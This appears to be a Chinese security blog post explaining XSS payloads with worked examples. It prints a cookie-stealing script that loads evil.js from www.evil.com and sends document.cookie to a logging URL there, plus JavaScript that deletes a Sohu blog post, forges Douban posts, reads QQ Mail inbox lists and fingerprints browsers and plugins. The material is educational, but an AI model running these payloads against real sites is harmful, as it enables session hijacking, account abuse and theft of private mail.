各类花里胡哨的XSS攻击举例解读(正在持续更新中~)

XSS攻击

XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚
本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS
Payload”。

“Cookie劫持”攻击
  • Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户
    的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户。

攻击者先加载一个含有真正的XSS Payload远程脚本==(evil.js)==,避免直接在URL的参数里写入大量的
JavaScript代码

http://www.a.com/test.htm?abc="><script 
src=http://www.evil.com/evil.js ></script>

在evil.js中,可以通过如下代码窃取Cookie:

var img = document.createElement("img");
img.src = "http://www.evil.com/
log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。事实上,http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录:

127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] 
"GET /log?cookie1%3D1234 HTTP/1.1" 404 288

一个最简单的窃取Cookie的XSS Payload就这样实现了

利用窃取的Cookie登录目标用户的账户,和“利用自定义Cookie访问网站”的过程是一样的拿到cookie后,将其替换当前未登录页面的cookie,重新发包,拿到返回的HTML代码本地打开即可登入目标账户

So,通过XSS攻击,可以完成“Cookie劫持”攻击,直接登录进用户的账户。因为在当前的Web中,Cookie一般是用户登录的凭证,浏览器发起的所有请求都会自动带上Cookie。如果Cookie没有绑定客户端信息,当攻击者窃取了Cookie后,就可以不用密码登录进用户的账户。

Cookie的“HttpOnly”标识可以防止“Cookie劫持”,但本章中并未谈到

更为强大XSS Payload

“Cookie劫持”并非所有的时候都会有效。有的网站可能会在Set-Cookie时给关键Cookie植入HttpOnly标识;有的网站则可能会把Cookie与客户端IP绑定(相关内容在“XSS的防御”一节中会具体介绍),从而使得XSS窃取的Cookie失去意义。But,在XSS攻击成功后,攻击者仍然有许多方式能够控制用户的浏览器。

构造GET和POST请求

一个网站的应用,只需要接受HTTP协议中的GET或POST请求,即可完成所有操
作。对于攻击者来说,仅通过JavaScript,就可以让浏览器发起这两种请求。

GET请求

通过XSS删除博客的例子

假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如
下。正常删除该文章的链接是:

http://blog.sohu.com/manage/entry.do?
m=delete&id=156713012

对于攻击者来说,只需要知道文章的id,就能够通过这个请求删除这篇文章了。在
本例中,文章的id是156713012。攻击者可以通过插入一张图片来发起一个GET请求:

var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这
篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。

POST请求

通过JavaScript在Douban发出一条新的消息

在正常情况下,发出一条消息,浏览器发的包是:
image-20200424112826027

要模拟这一过程,有两种方法。

第一种方法是,构造一个form表单,然后自动提交这个表单:

var f = document.createElement("form");
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement("input");i1.name = " ck";
i1.value = " JiUY";
f.appendChild(i1);
var i2 = document.createElement("input");
i2.name = " mb_text";
i2.value = "testtesttest";
f.appendChild(i2);
f.submit();

如果表单的参数很多的话,通过构造DOM节点的方式,代码将会非常冗长。所以
可以直接写HTML代码,这样会使得整个代码精简很多,如下所示:

var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '<form action="" 
method="post" id="xssform" name="mbform">'+
'<input type="hidden" value="JiUY" 
name="ck" />'+
'<input type="text" value="testtesttest" 
name="mb_text" />'+
'</form>'
document.getElementById("xssform").submit();

自动提交表单:

image-20200424113116325

第二种方法是,通过XMLHttpRequest发送一个POST请求:

var url = "http://www.douban.com";var postStr = "ck=JiUY&mb_text=test1234";
var ajax = null;
if(window.XMLHttpRequest){
    ajax = new XMLHttpRequest();
   }
else if(window.ActiveXObject){
    ajax = new 
ActiveXObject("Microsoft.XMLHTTP");
   }
else{
    return;
   }
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-
Type","application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function(){
    if (ajax.readyState == 4 && ajax.status 
== 200){
           alert("Done!");
        }
  }

提交成功:

image-20200424113218148

  • 通过这个例子可以清楚地看到,使用JavaScript模拟浏览器发包并不是一件困难的
    事情。所以XSS攻击后,攻击者除了可以实施“Cookie劫持”外,还能够通过模拟GET、
    POST请求操作用户的浏览器。这在某些隔离环境中会非常有用,比如“Cookie劫持”失
    效时,或者目标用户的网络不能访问互联网等情况。

通过XSS Payload读取QMail用户的邮件文件夹

首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后,可以看到:

image-20200424113636527

点击“收件箱”后,看到邮件列表。抓包发现浏览器发出了如下请求:

http://m57.mail.qq.com/cgi-bin/mail_list?
sid=6alhx3p5yzh9a2om7U51dDyz&folderid=1&page
=0&s=inbox&loc=folderlist,,,1

image-20200424113727099

经过分析发现,真正能访问到邮件列表的链接是:

http://m57.mail.qq.com/cgi-bin/mail_list?
folderid=1&page=0&s=inbox&sid=6alhx3p5yzh9a2
om7U51dDyz

image-20200424113846771

在Firebug中分析QQ邮箱的页面内容,有一个无法直接构造出的参数值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求此URL,应该就能得到邮件列表了。XSS Payload如下:

if 
(top.window.location.href.indexOf("sid=")>0){
  var sid = 
top.window.location.href.substr(top.window.lo
cation.href.indexOf("sid=")
+4,24);
}
var folder_url = 
"http://"+top.window.location.host+"/cgi-bin/
mail_list?folderid=
1&page=0&s=inbox&sid="+sid;
var ajax = null;
if(window.XMLHttpRequest){
    ajax = new XMLHttpRequest();   }
else if(window.ActiveXObject){
    ajax = new 
ActiveXObject("Microsoft.XMLHTTP");
   }
else{
    return;
   }
ajax.open("GET", folder_url, true);
ajax.send(null);
ajax.onreadystatechange = function(){
    if (ajax.readyState == 4 && ajax.status 
== 200){
           alert(ajax.responseText);
           //document.write(ajax.responseText
)
        }
  }        

邮件列表的内容成功被XSS Payload获取到

image-20200424114113180

攻击者获取到邮件列表的内容后,还可以读取每封邮件的内容,并发送到远程服务器上。这只需要构造不同的GET或POST请求即可,可以通过JavaScript实现


XSS钓鱼

在前文提到的“通过POST表单发消息”的案例中,如果在提交表单时要求用户输入验证码,那么一般的XSS Payload都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。

  • 对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Pay-load,从而绕过验证码。
  • 对于修改密码,为了窃取密码,攻击者可以将XSS与“钓鱼”相结合。
    • 实现思路很简单:利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户
      在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

image-20200424114550402


识别用户浏览器

攻击者为了获取更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道用户使用的浏览器、操作系统,攻击者就有可能实施一次精准的浏览器内存攻击,最终给用户电脑植入一个木马。XSS能够帮助攻击者快速达到收集信息的目的。

通过XSS读取浏览器的UserAgent对象:

alert(navigator.userAgent);

image-20200424114740295

  • 但是浏览器的UserAgent是可以伪造的。比如,Firefox有很多扩展可以屏蔽或自定义浏览器发送的UserAgent。所以通过JavaScript取出来的这个浏览器对象,信息并不一定准确。
另一种方法
  • 不同的浏览器或版本都有其独特之处,找到几个浏览器独有的对象,就能够识别浏览器的大版本。

安全研究者Gareth Heyes提出的巧妙办法:

B=(function x(){})[-5]=='x'?'FF3':(function
x(){})[-6]=='x'?'FF2':/a/
[-1]=='a'?'FF':'\v'=='v'?'IE':/
a/.__proto__=='//'?'Saf':/s/.
test(/a/.toString)?'Chr':/^function 
\(/.test([].sort)?'Op':'Unknown'

识别用户安装的软件
  • IE中的ActiveX控件
try {
var Obj = new 
ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e){
  // 异常了,不存在该控件
}
  • Flash的system.capabilities对象
    • 在XSS Payload中使用时,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的JavaScript

浏览器的扩展和插件也能被XSS Payload扫描出来

  • Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出
    所有的插件:

image-20200424115751812

所以直接查询“navigator.plugins”对象,就能找到所有的插件了。在上图中所示的插
件是“navigator.plugins[0]”

  • Firefox的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。
    • 比如Flash Got扩展的图标,可以这样访问:chrome://flashgot/skin/icon32.png只需在JavaScript中加载这张图片,如果加载成功,则扩展存在;反之,扩展不存在。
var m = new Image();
  m.onload = function() {
    alert(1);    //图片存在
  };
  m.onerror = function() {
    alert(2);
    //图片不存在
  };
  m.src = "chrome://flashgot/skin/
icon32.png";  //连接图片
  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值